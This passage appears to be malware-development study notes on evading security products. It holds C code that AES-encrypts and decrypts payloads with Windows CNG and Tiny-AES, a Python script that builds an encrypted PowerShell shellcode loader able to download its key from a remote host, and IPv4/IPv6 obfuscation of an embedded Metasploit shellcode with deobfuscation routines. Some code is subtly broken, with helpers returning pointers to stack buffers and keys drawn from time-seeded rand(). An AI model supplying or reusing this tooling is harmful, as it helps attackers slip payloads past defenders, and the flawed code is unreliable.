bSTATE = FALSE; goto _EndOfFunc;
}
// Setting Block Cipher Mode to CBC. This uses a 32 byte key and a 16 byte IV.
STATUS = BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptSetProperty Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Generating the key object from the AES key "pAes->pKey". The output will be saved in pbKeyObject of size cbKeyObject
STATUS = BCryptGenerateSymmetricKey(hAlgorithm, &hKeyHandle, pbKeyObject, cbKeyObject, (PBYTE)pAes->pKey, KEYSIZE, 0);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptGenerateSymmetricKey Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Running BCryptDecrypt first time with NULL output parameters to retrieve the size of the output buffer which is saved in cbPlainText
STATUS = BCryptDecrypt(hKeyHandle, (PUCHAR)pAes->pCipherText, (ULONG)pAes->dwCipherSize, NULL, pAes->pIv, IVSIZE, NULL, 0, &cbPlainText, BCRYPT_BLOCK_PADDING);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptDecrypt[1] Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Allocating enough memory for the output buffer, cbPlainText
pbPlainText = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbPlainText);
if (pbPlainText == NULL) {
bSTATE = FALSE; goto _EndOfFunc;
}
// Running BCryptDecrypt again with pbPlainText as the output buffer
STATUS = BCryptDecrypt(hKeyHandle, (PUCHAR)pAes->pCipherText, (ULONG)pAes->dwCipherSize, NULL, pAes->pIv, IVSIZE, pbPlainText, cbPlainText, &cbResult, BCRYPT_BLOCK_PADDING);
if (!NT_SUCCESS(STATUS)) {
printf("[!] BCryptDecrypt[2] Failed With Error: 0x%0.8X \n", STATUS);
bSTATE = FALSE; goto _EndOfFunc;
}
// Clean up
_EndOfFunc:
if (hKeyHandle) {
BCryptDestroyKey(hKeyHandle);
}
if (hAlgorithm) {
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
}
if (pbKeyObject) {
HeapFree(GetProcessHeap(), 0, pbKeyObject);
}
if (pbPlainText != NULL && bSTATE) {
// if everything went well, we save pbPlainText and cbPlainText
pAes->pPlainText = pbPlainText;
pAes->dwPlainSize = cbPlainText;
}
return bSTATE;
}
// Wrapper function for InstallAesEncryption that makes things easier
BOOL SimpleEncryption(IN PVOID pPlainTextData, IN DWORD sPlainTextSize, IN PBYTE pKey, IN PBYTE pIv, OUT PVOID* pCipherTextData, OUT DWORD* sCipherTextSize) {
if (pPlainTextData == NULL || sPlainTextSize == NULL || pKey == NULL || pIv == NULL)
return FALSE;
// Intializing the struct
AES Aes = {
.pKey = pKey,
.pIv = pIv,
.pPlainText = pPlainTextData,
.dwPlainSize = sPlainTextSize
};
if (!InstallAesEncryption(&Aes)) {
return FALSE;
}
// Saving output
*pCipherTextData = Aes.pCipherText;
*sCipherTextSize = Aes.dwCipherSize;
return TRUE;
}
// Wrapper function for InstallAesDecryption that make things easier
BOOL SimpleDecryption(IN PVOID pCipherTextData, IN DWORD sCipherTextSize, IN PBYTE pKey, IN PBYTE pIv, OUT PVOID* pPlainTextData, OUT DWORD* sPlainTextSize) {
if (pCipherTextData == NULL || sCipherTextSize == NULL || pKey == NULL || pIv == NULL)
return FALSE;
// Intializing the struct
AES Aes = {
.pKey = pKey,
.pIv = pIv,
.pCipherText = pCipherTextData,
.dwCipherSize = sCipherTextSize
};
if (!InstallAesDecryption(&Aes)) {
return FALSE;
}
// Saving output
*pPlainTextData = Aes.pPlainText;
*sPlainTextSize = Aes.dwPlainSize;
return TRUE;
}
// THE ENCRYPTION PART
/*
// "This is a plain text string, we'll try to encrypt/decrypt !" in hex
unsigned char Data[] = {
0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x70, 0x6C,
0x61, 0x69, 0x6E, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x73, 0x74, 0x72,
0x69, 0x6E, 0x67, 0x2C, 0x20, 0x77, 0x65, 0x27, 0x6C, 0x6C, 0x20, 0x74,
0x72, 0x79, 0x20, 0x74, 0x6F, 0x20, 0x65, 0x6E, 0x63, 0x72, 0x79, 0x70,
0x74, 0x2F, 0x64, 0x65, 0x63, 0x72, 0x79, 0x70, 0x74, 0x20, 0x21
};
int main() {
BYTE pKey [KEYSIZE]; // KEYSIZE is 32
BYTE pIv [IVSIZE]; // IVSIZE is 16
srand(time(NULL)); // the seed to generate the key
GenerateRandomBytes(pKey, KEYSIZE); // generating the key bytes
srand(time(NULL) ^ pKey[0]); // the seed to generate the iv (using the first byte from the key to add more spice)
GenerateRandomBytes(pIv, IVSIZE); // generating the iv
// printing both on the screen
PrintHexData("pKey", pKey, KEYSIZE);
PrintHexData("pIv", pIv, IVSIZE);
// defining two variables, that will be used in SimpleEncryption, (the output buffer and its size)
PVOID pCipherText = NULL;
DWORD dwCipherSize = NULL;
printf("Data: %s \n\n", Data);
// encrypting
if (!SimpleEncryption(Data, sizeof(Data), pKey, pIv, &pCipherText, &dwCipherSize)) {
return -1;
}
// print the encrypted buffer as a hex array
PrintHexData("CipherText", pCipherText, dwCipherSize);
// freeing
HeapFree(GetProcessHeap(), 0, pCipherText);
system("PAUSE");
return 0;
}
*/
// THE DECRYPTION PART
// the key printed to the screen
unsigned char pKey[] = {
0x3E, 0x31, 0xF4, 0x00, 0x50, 0xB6, 0x6E, 0xB8, 0xF6, 0x98, 0x95, 0x27, 0x43, 0x27, 0xC0, 0x55,
0xEB, 0xDB, 0xE1, 0x7F, 0x05, 0xFE, 0x65, 0x6D, 0x0F, 0xA6, 0x5B, 0x00, 0x33, 0xE6, 0xD9, 0x0B };
// the iv printed to the screen
unsigned char pIv[] = {
0xB4, 0xC8, 0x1D, 0x1D, 0x14, 0x7C, 0xCB, 0xFA, 0x07, 0x42, 0xD9, 0xED, 0x1A, 0x86, 0xD9, 0xCD };
// the encrypted buffer printed to the screen, which is:
unsigned char CipherText[] = {
0x97, 0xFC, 0x24, 0xFE, 0x97, 0x64, 0xDF, 0x61, 0x81, 0xD8, 0xC1, 0x9E, 0x23, 0x30, 0x79, 0xA1,
0xD3, 0x97, 0x5B, 0xAE, 0x29, 0x7F, 0x70, 0xB9, 0xC1, 0xEC, 0x5A, 0x09, 0xE3, 0xA4, 0x44, 0x67,
0xD6, 0x12, 0xFC, 0xB5, 0x86, 0x64, 0x0F, 0xE5, 0x74, 0xF9, 0x49, 0xB3, 0x0B, 0xCA, 0x0C, 0x04,
0x17, 0xDB, 0xEF, 0xB2, 0x74, 0xC2, 0x17, 0xF6, 0x34, 0x60, 0x33, 0xBA, 0x86, 0x84, 0x85, 0x5E };
int main() {
// defining two variables, that will be used in SimpleDecryption, (the output buffer and its size)
PVOID pPlaintext = NULL;
DWORD dwPlainSize = NULL;
// decryption
if (!SimpleDecryption(CipherText, sizeof(CipherText), pKey, pIv, &pPlaintext, &dwPlainSize)) {
return -1;
}
// printing the decrypted data to the screen as hex, this will look the same as the variable "Data" from the encryption snippet
PrintHexData("PlainText", pPlaintext, dwPlainSize);
// this will print: "This is a plain text string, we'll try to encrypt/decrypt !"
printf("Data: %s \n", pPlaintext);
printf("[#] Press <Enter> To Quit ... ");
getchar();
// freeing
HeapFree(GetProcessHeap(), 0, pPlaintext);
return 0;
}
Tiny-AES Library with CNG AES Encryption
https://github.com/kokke/tiny-AES-c
To use it:
Include aes.hpp (C++) or include aes.h (C) in the project (https://github.com/kokke/tiny-AES-c/blob/master/aes.h).
Add the aes.c file to the project (https://github.com/kokke/tiny-AES-c/blob/master/aes.c).
Drawbacks of this library:
The library does not support padding. All buffers must be multiples of 16 bytes. The lack of padding support can be solved by creating a custom padding function (included in code snippets)
The arrays used in the library can be signatured by security solutions to detect the usage of Tiny-AES.
- Encryption and Decryption
Coment out the encryption main function for decrypt and viceversa:
#include <Windows.h>
#include <stdio.h>
#include "aes.h"
// the Visual Studio project should include:
// aes.h - https://github.com/kokke/tiny-AES-c/blob/master/aes.h
// aes.c - https://github.com/kokke/tiny-AES-c/blob/master/aes.c
#define KEYSIZE 32
#define IVSIZE 16
// Generate random bytes of size sSize
VOID GenerateRandomBytes(PBYTE pByte, SIZE_T sSize) {
for (int i = 0; i < sSize; i++) {
pByte[i] = (BYTE)rand() % 0xFF;
}
}
// Print the input buffer as a hex char array
VOID PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {
printf("unsigned char %s[] = {", Name);
for (int i = 0; i < Size; i++) {
if (i % 16 == 0) {
printf("\n\t");
}
if (i < Size - 1) {
printf("0x%0.2X, ", Data[i]);
}
else {
printf("0x%0.2X ", Data[i]);
}
}
printf("};\n\n\n");
}
// Function that will take a buffer, and copy it to another buffer that is a multiple of 16 in size
BOOL PaddBuffer(IN PBYTE InputBuffer, IN SIZE_T InputBufferSize, OUT PBYTE* OutputPaddedBuffer, OUT SIZE_T* OutputPaddedSize) {
PBYTE PaddedBuffer = NULL;
SIZE_T PaddedSize = NULL;
// Calculate the nearest number that is multiple of 16 and saving it to PaddedSize
PaddedSize = InputBufferSize + 16 - (InputBufferSize % 16);
// Allocating buffer of size PaddedSize
PaddedBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, PaddedSize);
if (!PaddedBuffer){
return FALSE;
}
// Cleaning the allocated buffer
ZeroMemory(PaddedBuffer, PaddedSize);
// Copying old buffer to a new padded buffer
memcpy(PaddedBuffer, InputBuffer, InputBufferSize);
// Saving results
*OutputPaddedBuffer = PaddedBuffer;
*OutputPaddedSize = PaddedSize;
return TRUE;
}
// DECRYPTION //
unsigned char pKey[] = {
0xFA, 0x9C, 0x73, 0x6C, 0xF2, 0x3A, 0x47, 0x21, 0x7F, 0xD8, 0xE7, 0x1A, 0x4F, 0x76, 0x1D, 0x84,
0x2C, 0xCB, 0x98, 0xE3, 0xDC, 0x94, 0xEF, 0x04, 0x46, 0x2D, 0xE3, 0x33, 0xD7, 0x5E, 0xE5, 0xAF };
unsigned char pIv[] = {
0xCF, 0x00, 0x86, 0xE1, 0x6D, 0xA2, 0x6B, 0x06, 0xC4, 0x8B, 0x1F, 0xDA, 0xB6, 0xAB, 0x21, 0xF1 };
unsigned char CipherText[] = {
0xD8, 0x9C, 0xFE, 0x68, 0x97, 0x71, 0x5E, 0x5E, 0x79, 0x45, 0x3F, 0x05, 0x4B, 0x71, 0xB9, 0x9D,
0xB2, 0xF3, 0x72, 0xEF, 0xC2, 0x64, 0xB2, 0xE8, 0xD8, 0x36, 0x29, 0x2A, 0x66, 0xEB, 0xAB, 0x80,
0xE4, 0xDF, 0xF2, 0x3C, 0xEE, 0x53, 0xCF, 0x21, 0x3A, 0x88, 0x2C, 0x59, 0x8C, 0x85, 0x26, 0x79,
0xF0, 0x04, 0xC2, 0x55, 0xA8, 0xDE, 0xB4, 0x50, 0xEE, 0x00, 0x65, 0xF8, 0xEE, 0x7C, 0x54, 0x98,
0xEB, 0xA2, 0xD5, 0x21, 0xAA, 0x77, 0x35, 0x97, 0x67, 0x11, 0xCE, 0xB3, 0x53, 0x76, 0x17, 0xA5,
0x0D, 0xF6, 0xC3, 0x55, 0xBA, 0xCD, 0xCF, 0xD1, 0x1E, 0x8F, 0x10, 0xA5, 0x32, 0x7E, 0xFC, 0xAC };
int main() {
// Struct needed for tiny-AES library
struct AES_ctx ctx;
// Initilizing the Tiny-Aes Library
AES_init_ctx_iv(&ctx, pKey, pIv);
// Decrypting
AES_CBC_decrypt_buffer(&ctx, CipherText, sizeof(CipherText));
// Printing the decrypted buffer to the console
PrintHexData("PlainText", CipherText, sizeof(CipherText));
// Printing the string
printf("Data: %s \n", CipherText);
// Exit
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
// ENCRYPTION //
/*
// "this is plain text sting, we'll try to encrypt... lets hope everythign go well :)" in hex
// since the upper string is 82 byte in size, and 82 is not mulitple of 16, we cant encrypt this directly using tiny-aes
unsigned char Data[] = {
0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x70, 0x6C, 0x61, 0x6E,
0x65, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x73, 0x74, 0x69, 0x6E, 0x67,
0x2C, 0x20, 0x77, 0x65, 0x27, 0x6C, 0x6C, 0x20, 0x74, 0x72, 0x79, 0x20,
0x74, 0x6F, 0x20, 0x65, 0x6E, 0x63, 0x72, 0x79, 0x70, 0x74, 0x2E, 0x2E,
0x2E, 0x20, 0x6C, 0x65, 0x74, 0x73, 0x20, 0x68, 0x6F, 0x70, 0x65, 0x20,
0x65, 0x76, 0x65, 0x72, 0x79, 0x74, 0x68, 0x69, 0x67, 0x6E, 0x20, 0x67,
0x6F, 0x20, 0x77, 0x65, 0x6C, 0x6C, 0x20, 0x3A, 0x29, 0x00
};
int main() {
// Struct needed for tiny-AES library
struct AES_ctx ctx;
BYTE pKey[KEYSIZE]; // KEYSIZE is 32
BYTE pIv[IVSIZE]; // IVSIZE is 16
srand(time(NULL)); // The seed to generate the key
GenerateRandomBytes(pKey, KEYSIZE); // Generating the key bytes
srand(time(NULL) ^ pKey[0]); // The seed to generate the iv (using the first byte from the key to add more spice)
GenerateRandomBytes(pIv, IVSIZE); // Generating the IV
// Printing key and IV to the console
PrintHexData("pKey", pKey, KEYSIZE);
PrintHexData("pIv", pIv, IVSIZE);
// Initilizing the Tiny-AES Library
AES_init_ctx_iv(&ctx, pKey, pIv);
// Initializing variables that will hold the new buffer base address and its size in case padding is required
PBYTE PaddedBuffer = NULL;
SIZE_T PAddedSize = NULL;
// Padding buffer, if needed
if (sizeof(Data) % 16 != 0){
PaddBuffer(Data, sizeof(Data), &PaddedBuffer, &PAddedSize);
// Encrypting the padded buffer instead
AES_CBC_encrypt_buffer(&ctx, PaddedBuffer, PAddedSize);
// Printing the encrypted buffer to the console
PrintHexData("CipherText", PaddedBuffer, PAddedSize);
}
else {
// No padding is required, encrypt Data directly
AES_CBC_encrypt_buffer(&ctx, Data, sizeof(Data));
// Printing the encrypted buffer to the console
PrintHexData("CipherText", Data, sizeof(Data));
}
// Freeing PaddedBuffer, if needed
if (PaddedBuffer != NULL){
HeapFree(GetProcessHeap(), 0, PaddedBuffer);
}
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
*/
Powershell AES Encryption
We can also use the following python script to aes encrypt a powershell byte array, this will take a file containing the byte array and create the function with the encrypted array.
To obtain a powershell shellcode byte array, we can use raw-to-source.py
custom tool to generate an output similar to the -f ps1
parameter of msfvenom
.
The python script to create the powershell encrypted shellcode and decryption routine:
import subprocess
import sys
import argparse
separatekey = False #initialize var for optional functionality
def pwshrun(cmd):
completed = subprocess.run(["pwsh", "-command", cmd], capture_output=True)
return completed
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Encrypt shellcode from a file using AES encryption.")
parser.add_argument("shellcode_file", help="Path to the shellcode file")
args = parser.parse_args()
with open(args.shellcode_file, "r") as file:
shellcode = file.read().strip()
print("Generating AES-256 key...")
powershellkeygen = "$aesKey = New-Object byte[] 32;$rng = [Security.Cryptography.RNGCryptoServiceProvider]::Create();$rng.GetBytes($aesKey);$aesKey" #pwshgenerate random aes-256 key
aeskey = ("(" + str(pwshrun(powershellkeygen).stdout).replace("b","").replace("'","").replace("\\n",",") + ")").replace(",)",")") #generate aes-256 key and format
if separatekey:
keyfile = args.key
with open(keyfile, 'w') as f: #write key to file
f.write(aeskey)
print("AES-256 key written to: " + keyfile)
key = "$key = (new-object net.webclient).downloadstring('http://" + args.keyhost + "/" + keyfile + "');$key = $key.split(\",\") -replace '[()]',''"
else:
key = "$key = " + aeskey
print("\nEncrypting shellcode...")
rawshellcode = str(shellcode).replace("b'[Byte[]] $buf = ","").replace("\\n","").replace("\\r","").replace("'","") #format shellcode
powershellencrypt = "$aesKey = " + aeskey + ";$shellcode = \"" + rawshellcode + "\";$Secure = ConvertTo-SecureString -String $shellcode -AsPlainText -Force;$encrypted = ConvertFrom-SecureString -SecureString $Secure -Key $aesKey;$encrypted"
encryptedshellcode = str(pwshrun(powershellencrypt).stdout).replace("b'","").replace("\\n'","")
print("\nGenerating encrypter...")
encrypter = """function getStrawberries($a) {
$obfu = \"""" + encryptedshellcode + """\"
$secureObject = ConvertTo-SecureString -String $obfu -Key $a
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
$decrypted = $decrypted.split(",")
return $decrypted
}
""" + key + """
[Byte[]] $buf = getStrawberries $key
"""
print("\n" + encrypter)
IPv4/IPv6/MAC/UUID Obfuscation
IPv4Fuscation
Obfuscation technique where the shellcode's bytes are converted to IPv4.
Since IPv4 addresses are composed of 4 octets, IPv4Fuscation uses 4 bytes to generate a single IPv4 string with each byte representing an octet.
Take each byte, which is currently in hex and convert it to decimal format to get one octet.
For example:
The shellcode is FC 48 83 E4.
FC is 252 in decimal, 48 is 72, 83 is 131 and E4 is 228.
This would result in 252.72.131.228.
- Obfuscation
Generating an IPv4 address requires 4 bytes therefore the shellcode must be multiples of 4.
#include <Windows.h>
#include <stdio.h>
// Disable error 4996 (caused by sprint)
#pragma warning (disable:4996)
char* GenerateIpv4(int a, int b, int c, int d) {
unsigned char Output [32];
// Creating the IPv4 address and saving it to the 'Output' variable
sprintf(Output, "%d.%d.%d.%d", a, b, c, d);
// Optional: Print the 'Output' variable to the console
// printf("[i] Output: %s\n", Output);
return (char*)Output;
}
// Generate the IPv4 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv4Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// If the shellcode buffer is null or the size is not a multiple of 4, exit
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 4 != 0){
return FALSE;
}
printf("char* Ipv4Array[%d] = { \n\t", (int)(ShellcodeSize / 4));
// We will read one shellcode byte at a time, when the total is 4, begin generating the IPv4 address
// The variable 'c' is used to store the number of bytes read. By default, starts at 4.
int c = 4, counter = 0;
char* IP = NULL;
for (int i = 0; i < ShellcodeSize; i++) {
// Track the number of bytes read and when they reach 4 we enter this if statement to begin generating the IPv4 address
if (c == 4) {
counter++;
// Generating the IPv4 address from 4 bytes which begin at i until [i + 3]
IP = GenerateIpv4(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3]);
if (i == ShellcodeSize - 4) {
// Printing the last IPv4 address
printf("\"%s\"", IP);
break;
}
else {
// Printing the IPv4 address
printf("\"%s\", ", IP);
}
c = 1;
// Optional: To beautify the output on the console
if (counter % 8 == 0) {
printf("\n\t");
}
}
else {
c++;
}
}
printf("\n};\n\n");
return TRUE;
}
// x64 calc metasploit shellcode {272 bytes}
unsigned char rawData[] = {
// copy shellcode here
};
int main() {
if (!GenerateIpv4Output(rawData, sizeof(rawData))) {
// if failed, that is sizeof(rawData) isn't a multiple of 4
return -1;
}
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
- Deobfuscation
https://learn.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv4stringtoaddressa
This requires the use of the NTAPI RtlIpv4StringToAddressA. It converts a string representation of an IPv4 address to a binary IPv4 address.
#include <Windows.h>
#include <stdio.h>
// https://learn.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv4stringtoaddressa
typedef NTSTATUS (NTAPI* fnRtlIpv4StringToAddressA)(
PCSTR S,
BOOLEAN Strict,
PCSTR* Terminator,
PVOID Addr
);
// Function that will IPv4 deobfuscate the payload
BOOL Ipv4Deobfuscation(IN CHAR* Ipv4Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
PCSTR Terminator = NULL;
NTSTATUS STATUS = NULL;
// Getting RtlIpv4StringToAddressA address from ntdll.dll
fnRtlIpv4StringToAddressA pRtlIpv4StringToAddressA = (fnRtlIpv4StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv4StringToAddressA");
if (pRtlIpv4StringToAddressA == NULL){
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the real size of the shellcode which is the number of IPv4 addresses * 4
sBuffSize = NmbrOfElements * 4;
// Allocating memory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL){
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Setting TmpBuffer to be equal to pBuffer
TmpBuffer = pBuffer;
// Loop through all the IPv4 addresses saved in Ipv4Array
for (int i = 0; i < NmbrOfElements; i++) {
// Deobfuscating one IPv4 address at a time
// Ipv4Array[i] is a single ipv4 address from the array Ipv4Array
if ((STATUS = pRtlIpv4StringToAddressA(Ipv4Array[i], FALSE, &Terminator, TmpBuffer)) != 0x0) {
// if it failed
printf("[!] RtlIpv4StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv4Array[i], STATUS);
return FALSE;
}
// 4 bytes are written to TmpBuffer at a time
// Therefore Tmpbuffer will be incremented by 4 to store the upcoming 4 bytes
TmpBuffer = (PBYTE)(TmpBuffer + 4);
}
// Save the base address & size of the deobfuscated payload
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
// Output from obfuscation code above
char* Ipv4Array[] = {
"252.72.131.228", "240.232.192.0", "0.0.65.81", "65.80.82.81", "86.72.49.210", "101.72.139.82", "96.72.139.82", "24.72.139.82",
"32.72.139.114", "80.72.15.183", "74.74.77.49", "201.72.49.192", "172.60.97.124", "2.44.32.65", "193.201.13.65", "1.193.226.237",
"82.65.81.72", "139.82.32.139", "66.60.72.1", "208.139.128.136", "0.0.0.72", "133.192.116.103", "72.1.208.80", "139.72.24.68",
"139.64.32.73", "1.208.227.86", "72.255.201.65", "139.52.136.72", "1.214.77.49", "201.72.49.192", "172.65.193.201", "13.65.1.193",
"56.224.117.241", "76.3.76.36", "8.69.57.209", "117.216.88.68", "139.64.36.73", "1.208.102.65", "139.12.72.68", "139.64.28.73",
"1.208.65.139", "4.136.72.1", "208.65.88.65", "88.94.89.90", "65.88.65.89", "65.90.72.131", "236.32.65.82", "255.224.88.65",
"89.90.72.139", "18.233.87.255", "255.255.93.72", "186.1.0.0", "0.0.0.0", "0.72.141.141", "1.1.0.0", "65.186.49.139",
"111.135.255.213", "187.224.29.42", "10.65.186.166", "149.189.157.255", "213.72.131.196", "40.60.6.124", "10.128.251.224", "117.5.187.71",
"19.114.111.106", "0.89.65.137", "218.255.213.99", "97.108.99.0"
};
#define NumberOfElements 68
int main() {
PBYTE pDAddress = NULL;
SIZE_T sDSize = NULL;
if (!Ipv4Deobfuscation(Ipv4Array, NumberOfElements, &pDAddress, &sDSize))
return -1;
printf("[+] Deobfuscated Bytes at 0x%p of Size %ld ::: \n", pDAddress, sDSize);
for (size_t i = 0; i < sDSize; i++){
if (i % 16 == 0)
printf("\n\t");
printf("%0.2X ", pDAddress[i]);
}
HeapFree(GetProcessHeap(), 0, pDAddress);
printf("\n\n[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
IPv6Fuscation
Obfuscation technique where the shellcode's bytes are converted to IPv6.
16 bytes are used to generate one IPv6 address.
Converting the bytes to decimal is not a requirement for IPv6 addresses.
FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51
--> FC48:83E4:F0E8:C000:0000:4151:4150:5251
- Obfuscation
When using IPv6Fuscation, the shellcode should be a multiple of 16. It's possible to create a function that pads the shellcode if it doesn't meet that requirement.
#include <Windows.h>
#include <stdio.h>
// disable error 4996 (caused by sprint)
#pragma warning (disable:4996)
// Function takes in 16 raw bytes and returns them in an IPv6 address string format
char* GenerateIpv6(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {
// Each IPv6 segment is 32 bytes
char Output0[32], Output1[32], Output2[32], Output3[32];
// There are 4 segments in an IPv6 (32 * 4 = 128)
char result[128];
// Generating output0 using the first 4 bytes
sprintf(Output0, "%0.2X%0.2X:%0.2X%0.2X", a, b, c, d);
// Generating output1 using the second 4 bytes
sprintf(Output1, "%0.2X%0.2X:%0.2X%0.2X", e, f, g, h);
// Generating output2 using the third 4 bytes
sprintf(Output2, "%0.2X%0.2X:%0.2X%0.2X", i, j, k, l);
// Generating output3 using the last 4 bytes
sprintf(Output3, "%0.2X%0.2X:%0.2X%0.2X", m, n, o, p);
// Combining Output0,1,2,3 to generate the IPv6 address
sprintf(result, "%s:%s:%s:%s", Output0, Output1, Output2, Output3);
// Optional: Print the 'result' variable to the console
// printf("[i] result: %s\n", (char*)result);
return (char*)result;
}
// Generate the IPv6 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv6Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// If the shellcode buffer is null or the size is not a multiple of 16, exit
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0){
return FALSE;
}
printf("char* Ipv6Array [%d] = { \n\t", (int)(ShellcodeSize / 16));
// We will read one shellcode byte at a time, when the total is 16, begin generating the IPv6 address
// The variable 'c' is used to store the number of bytes read. By default, starts at 16.
int c = 16, counter = 0;
char* IP = NULL;
for (int i = 0; i < ShellcodeSize; i++) {
// Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the IPv6 address
if (c == 16) {
counter++;
// Generating the IPv6 address from 16 bytes which begin at i until [i + 15]
IP = GenerateIpv6(
pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
);
if (i == ShellcodeSize - 16) {
// Printing the last IPv6 address
printf("\"%s\"", IP);
break;
}
else {
// Printing the IPv6 address
printf("\"%s\", ", IP);
}
c = 1;
// Optional: To beautify the output on the console
if (counter % 3 == 0) {
printf("\n\t");
}
}
else {
c++;
}
}
printf("\n};\n\n");
return TRUE;
}
// x64 calc Msfvenom shellcode {272 bytes}
unsigned char rawData[] = {
// copy shellcode here
};
int main() {
if (!GenerateIpv6Output(rawData, sizeof(rawData))) {
// if failed, that is sizeof(rawData) isnt multiple of 16
return -1;
}
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
- Deobfuscation
IPv6 deobfuscation will require the use of another NTAPI RtlIpv6StringToAddressA. This function converts an IPv6 address to a binary IPv6 address.
#include <Windows.h>
#include <stdio.h>
// https://learn.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6stringtoaddressa
typedef NTSTATUS(NTAPI* fnRtlIpv6StringToAddressA)(
PCSTR S,
PCSTR* Terminator,
PVOID Addr
);
// Function that will deobfuscate the IPv6 payload
BOOL Ipv6Deobfuscation(IN CHAR* Ipv6Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
PCSTR Terminator = NULL;
NTSTATUS STATUS = NULL;
// Getting RtlIpv6StringToAddressA address from ntdll.dll
fnRtlIpv6StringToAddressA pRtlIpv6StringToAddressA = (fnRtlIpv6StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv6StringToAddressA");
if (pRtlIpv6StringToAddressA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the real size of the shellcode which is the number of IPv6 addresses * 16
sBuffSize = NmbrOfElements * 16;
// Allocating memory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
TmpBuffer = pBuffer;
// Loop through all the IPv6 addresses saved in Ipv6Array
for (int i = 0; i < NmbrOfElements; i++) {
// Deobfuscating one IPv6 address at a time
// Ipv6Array[i] is a single IPv6 address from the array Ipv6Array
if ((STATUS = pRtlIpv6StringToAddressA(Ipv6Array[i], &Terminator, TmpBuffer)) != 0x0) {
// if it failed
printf("[!] RtlIpv6StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv6Array[i], STATUS);
return FALSE;
}
// 16 bytes are written to TmpBuffer at a time
// Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
TmpBuffer = (PBYTE)(TmpBuffer + 16);
}
// Save the base address & size of the deobfuscated payload
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
// Output from fuscation code above:
char* Ipv6Array[] = {
"FC48:83E4:F0E8:C000:0000:4151:4150:5251", "5648:31D2:6548:8B52:6048:8B52:1848:8B52", "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0",
"AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED", "5241:5148:8B52:208B:423C:4801:D08B:8088", "0000:0048:85C0:7467:4801:D050:8B48:1844",
